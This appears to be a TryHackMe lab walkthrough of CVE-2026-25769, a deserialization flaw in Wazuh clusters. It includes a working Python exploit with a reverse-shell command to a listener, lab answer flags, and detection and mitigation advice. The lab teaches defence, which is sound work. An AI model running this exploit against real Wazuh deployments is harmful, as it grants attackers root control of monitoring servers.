May 26, 2026
Wazuh: CVE-2026–25769 Walkthrough — TryHackMe Lab
Task 1: Introduction
Hussein 404
8 min read
Task 1: Introduction
Wazuh is a free and open-source security platform used for threat prevention, detection, and response. It is widely deployed as both a SIEM and XDR solution. One of its key features is a cluster architecture, where a master node manages and coordinates one or more worker nodes to handle workloads across large environments.
In a typical deployment, Wazuh monitors servers, endpoints, and network devices, with all logs, alerts, and detection rules flowing through the master node. If an attacker compromises a worker node, they may be able to move laterally within the cluster.
This is the risk introduced by CVE-2026–25769, a vulnerability that allows an attacker who gains access to a worker node to execute arbitrary commands on the master node with root privileges, potentially leading to full system compromise.
In March 2026, the Hakai Security Research Team discovered a critical Remote Code Execution (RCE) vulnerability in the Wazuh cluster communication protocol. The issue lies in how the master node deserializes JSON messages received from worker nodes. Due to unsafe deserialization, the function can import and execute arbitrary Python modules without any allowlist, allowing a compromised worker node to execute system commands on the master.
Key Details:
- Severity: Critical
- CVSS Score: 9.1
- CVE ID: CVE-2026–25769
- CWE: CWE-502 (Deserialization of Untrusted Data)
- Affected Versions: 4.0.0 through 4.14.2
- Patched Version: 4.14.3
Task 2: Technical Background
Wazuh deployments running in cluster mode use a master/worker architecture, where worker nodes communicate with the master over TCP port 1516. All communication between nodes is encrypted using a shared Fernet key, defined in the cluster configuration file (ossec.conf). This ensures that only trusted nodes with the correct key can exchange data. However, once a node is authenticated, the master fully trusts the data it receives, which introduces a significant security risk.
These requests are serialized as JSON and deserialized on the master using Python's json.loads() with a custom object_hook.
The Vulnerable Function
The vulnerability exists in framework/wazuh/core/cluster/common.py within the as_wazuh_object() function. This function is used as the object_hook, meaning every JSON object received from worker nodes is processed through it.
When a JSON object contains the __callable__ key, the function performs several dangerous operations without validation:
- Reads the
__module__value from user-controlled input - Dynamically imports the module using
import_module() - Retrieves a function using
getattr() - Returns the function reference for later execution
Vulnerable Code Path
# framework/wazuh/core/cluster/common.py:1839-1848
defas_wazuh_object(dct:Dict):
try:
if'__callable__'indct:
encoded_callable=dct['__callable__']
funcname=encoded_callable['__name__']
if'__wazuh__'inencoded_callable:
wazuh=Wazuh()
returngetattr(wazuh,funcname)
else:
qualname=encoded_callable['__qualname__'].split('.')
classname=qualname[0]iflen(qualname)>1elseNone
module_path=encoded_callable['__module__']# NO VALIDATION
module=import_module(module_path)# ARBITRARY IMPORT
ifclassnameisNone:
returngetattr(module,funcname)# RETURNS FUNCTION
else:
returngetattr(getattr(module,classname),funcname)# framework/wazuh/core/cluster/common.py:1839-1848
defas_wazuh_object(dct:Dict):
try:
if'__callable__'indct:
encoded_callable=dct['__callable__']
funcname=encoded_callable['__name__']
if'__wazuh__'inencoded_callable:
wazuh=Wazuh()
returngetattr(wazuh,funcname)
else:
qualname=encoded_callable['__qualname__'].split('.')
classname=qualname[0]iflen(qualname)>1elseNone
module_path=encoded_callable['__module__']# NO VALIDATION
module=import_module(module_path)# ARBITRARY IMPORT
ifclassnameisNone:
returngetattr(module,funcname)# RETURNS FUNCTION
else:
returngetattr(getattr(module,classname),funcname)In this code, module_path is taken directly from the incoming JSON and passed to import_module() without any restriction. This allows an attacker to import arbitrary Python modules such as subprocess or os.
Execution Point
The deserialized function is executed in framework/wazuh/core/cluster/dapi/dapi.py, where the request is parsed and the returned callable is invoked with attacker-controlled arguments.
If crafted correctly, the function can resolve to something like subprocess.getoutputallowing execution of system commands as root.
Attack Flow
- The attacker compromises a worker node
- The worker already has the shared cluster key
- A malicious DAPI request is crafted and sent to the master
- The message is encrypted and transmitted over TCP (port 1516)
- The master deserializes the request using the vulnerable function
- An arbitrary module is imported, and a callable is returned
- The callable is executed with attacker-controlled input
- Commands run on the master node with root privileges
Root Cause
The issue is caused by:
- Implicit trust in authenticated worker nodes
- Lack of input validation during deserialization
- No module allowlist, allowing arbitrary imports
This combination enables full remote code execution from a compromised worker node.
Q1: What is the name of the Python file containing the vulnerable as_wazuh_object() function?
Answer: common.py
Q2: What Python function is used to dynamically load modules from the __module__ field without validation?
Answer: import_module
Q3: What encryption scheme is used to protect cluster communication between worker and master?
Answer: Fernet
Q4: On which TCP port does the master node listen for cluster communication?
Answer: 1516
Task 3: Exploitation
In this task, we will exploit a vulnerable Wazuh cluster, craft the malicious payload, and execute it from the worker to achieve RCE on the master. The lab environment simulates a real-world deployment with a master and worker node sharing a cluster key.
Environment Setup
In the attached VM, we have a Dockerised cluster with two containers running wazuh/wazuh-manager:4.9.2. The master node runs at 172.28.0.10 and the worker at 172.28.0.11. Both share the cluster key WeKnowTryHackMeIsTheBestPlatform configured in their respective ossec.conf files.
Cluster Configuration
The master node configuration (master.xml) defines key cluster settings such as the cluster name, node type, shared key, and bind address:
The worker configuration (worker.xml) mirrors this but sets node_type to worker and node_name to worker01. Both share the same key value, which is what allows the worker to authenticate with the master.
Starting the Cluster
In the provided machine, open the terminal and run the following command to verify the cluster configuration:
The output confirms that worker01 has successfully connected to the master. The cluster is ready for exploitation.
Preparing the Payload
To prepare the payload, we simply craft a malicious JSON object that abuses Wazuh's unsafe deserialisation mechanism. By specifying a __callable__ pointing to Python's subprocess.getoutput, we can force the master node to execute arbitrary system commands. We then include our desired command in f_kwargs and set request_type to local_master so it executes directly on the master. Let's examine the payload structure:
{
"f": {
"__callable__": {
"__name__": "getoutput",
"__module__": "subprocess",
"__qualname__": "getoutput"
}
},
"f_kwargs": {
"cmd": "whoami > /tmp" #any command that we want to try
},
"request_type": "local_master"
}{
"f": {
"__callable__": {
"__name__": "getoutput",
"__module__": "subprocess",
"__qualname__": "getoutput"
}
},
"f_kwargs": {
"cmd": "whoami > /tmp" #any command that we want to try
},
"request_type": "local_master"
}When the master receives and deserialises this payload:
as_wazuh_object()encounters the__callable__key inside theffield- It reads
__module__assubprocessand callsimport_module("subprocess") - It reads
__name__asgetoutputand callsgetattr(subprocess, "getoutput") - The DAPI framework then calls
subprocess.getoutput(cmd="id > /tmp/RCE_PROOF && date >> /tmp/RCE_PROOF") - The command runs on the master node with root privileges
The request_type is set to local_master, which tells the DAPI framework to execute the function locally on the master rather than forwarding it to another node.
Exploit Script
To perform the exploitation, a slightly modified script based on the version shared by HakaiSecurity is used. In the provided VM, create a file named poc.py and copy the following code. The script dynamically loads Wazuh's LocalClient module to send the crafted payload through the cluster's internal communication channel:
#!/usr/bin/env python3
import sys, json, asyncio, importlib.util
def load_module(path):
spec = importlib.util.spec_from_file_location('m', path)
m = importlib.util.module_from_spec(spec)
spec.loader.exec_module(m)
return m
# Payload: Master will execute subprocess.getoutput(cmd="...")
PAYLOAD = {
"f": {"__callable__": {"__name__": "getoutput", "__module__": "subprocess", "__qualname__": "getoutput"}},
"f_kwargs": {"cmd": "bash -c 'bash -i >& /dev/tcp/10.113.145.237/4444 0>&1'"},
"request_type": "local_master"
}
async def main():
lc = load_module('/var/ossec/framework/wazuh/core/cluster/local_client.py').LocalClient()
await lc.start()
print(f"Sending: {json.dumps(PAYLOAD)}")
await lc.execute(command=b'dapi', data=json.dumps(PAYLOAD).encode())
print("Check the listener running on 10.113.145.237:4444 to confirm the shell")
asyncio.run(main())#!/usr/bin/env python3
import sys, json, asyncio, importlib.util
def load_module(path):
spec = importlib.util.spec_from_file_location('m', path)
m = importlib.util.module_from_spec(spec)
spec.loader.exec_module(m)
return m
# Payload: Master will execute subprocess.getoutput(cmd="...")
PAYLOAD = {
"f": {"__callable__": {"__name__": "getoutput", "__module__": "subprocess", "__qualname__": "getoutput"}},
"f_kwargs": {"cmd": "bash -c 'bash -i >& /dev/tcp/10.113.145.237/4444 0>&1'"},
"request_type": "local_master"
}
async def main():
lc = load_module('/var/ossec/framework/wazuh/core/cluster/local_client.py').LocalClient()
await lc.start()
print(f"Sending: {json.dumps(PAYLOAD)}")
await lc.execute(command=b'dapi', data=json.dumps(PAYLOAD).encode())
print("Check the listener running on 10.113.145.237:4444 to confirm the shell")
asyncio.run(main())
The script uses load_module() to dynamically import Wazuh's LocalClient class from the framework directory, avoiding Python path issues when executed inside the container. It then initializes a LocalClient instance, connects to the local cluster socket, and sends the crafted payload using the DAPI command.
Running the Exploit
To execute the exploit, first start a listener by running nc -nvlp 4444 in the current terminal. Then, open a new terminal tab, copy the poc.py script to the worker instance, and execute it using the appropriate command.
The script sends the malicious payload to the master through the encrypted cluster channel. Once executed, the listener receives a connection, resulting in a root shell on the target system.
Q1: What Python module does the exploit payload specify in the __module__ field to achieve command execution?
Answer: subprocess
Q2: What is the request_type value used in the exploit payload to target the master node?
Answer: local_master
Q3: What are the contents of root.txt on the master server?
Answer: THM{WAZUH_RCE_COMPLETED}
Task 4: Detection
Detecting this exploit is challenging because it leverages the same encrypted cluster communication channel as legitimate traffic. The payload structure closely resembles normal DAPI requests, with the only difference being the deserialized function content. However, several indicators can be monitored at both the network and host levels.
Network-Level Detection
Since the exploit uses the standard cluster port (1516), traditional network monitoring may not flag the traffic directly. Instead, focus on anomalies such as:
- Unusual volume of DAPI requests from a single worker node
- Cluster communication originating from unexpected IP addresses
- Connections to port 1516 from non-worker systems
Host-Level Detection
The most reliable detection occurs on the master node. After exploitation, attacker commands are executed as child processes of the Wazuh cluster service. Monitor for abnormal process activity.
Example SIEM query:
process.parent.name:"wazuh-clusterd" AND NOT process.name:("python3" OR "wazuh-*")
Additional indicators include:
- Unexpected files created by the Wazuh user (e.g., in
/tmp/) - Reverse shell connections originating from the master node
- Unauthorized cron jobs or persistence mechanisms
- Unusual Python module imports within Wazuh processes
Log-Based Detection
Review Wazuh master logs for anomalies. Although deserialized function names are not logged by default, failed exploit attempts may generate errors in /var/ossec/logs/cluster.log. Look for stack traces referencing as_wazuh_object or suspicious module imports.
Mitigation
The primary fix is to upgrade Wazuh to version 4.14.3 or later, which introduces a module allowlist in as_wazuh_object() to prevent arbitrary imports during deserialization.
If immediate patching is not possible, apply the following measures:
- Restrict access to port 1516 to trusted worker IPs only
- Continuously monitor and verify worker node integrity
- Segment the network between the master and worker nodes
- Rotate cluster keys regularly, especially after a suspected compromise
Hardening Recommendations
For long-term protection:
- Apply the principle of least privilege to the Wazuh service account
- Enable detailed auditing of cluster communication
- Deploy file integrity monitoring on the master node
- Restrict access to components such as LocalClient
Q1: Which patched Wazuh version fixes CVE-2026–25769?
Answer: 4.14.3
Conclusion
In this lab, we covered:
- Cluster Communication: How Wazuh master and worker nodes communicate using Fernet-encrypted messages over TCP port 1516.
- Vulnerability Overview: The insecure deserialization flaw in the
as_wazuh_object()function allows arbitrary Python module imports and function execution without any allowlist validation. - Exploitation Walkthrough: Step-by-step demonstration of CVE-2026–25769, crafting a JSON payload to achieve root-level RCE on the master node from a compromised worker.
- Detection Strategies: SIEM queries for anomalous child processes, host-level indicators, and log-based signs of compromise.
- Mitigation Measures: Upgrading to Wazuh version 4.14.3 and implementing network hardening, access restrictions, and monitoring best practices.
This vulnerability highlights a critical risk in trust-based architectures: the master node implicitly trusts all deserialized content from authenticated workers. A single compromised worker could gain full control over the security monitoring infrastructure. The as_wazuh_object() function, designed for convenience to allow remote function calls between cluster nodes, became a major attack surface due to the absence of a module allowlist.
Walkthrough Complete 🥳🎉
Thank you for following this walkthrough! I hope you found it clear and helpful in completing the challenge.
If you enjoyed this guide, please consider sharing it with others who might be working on the same task!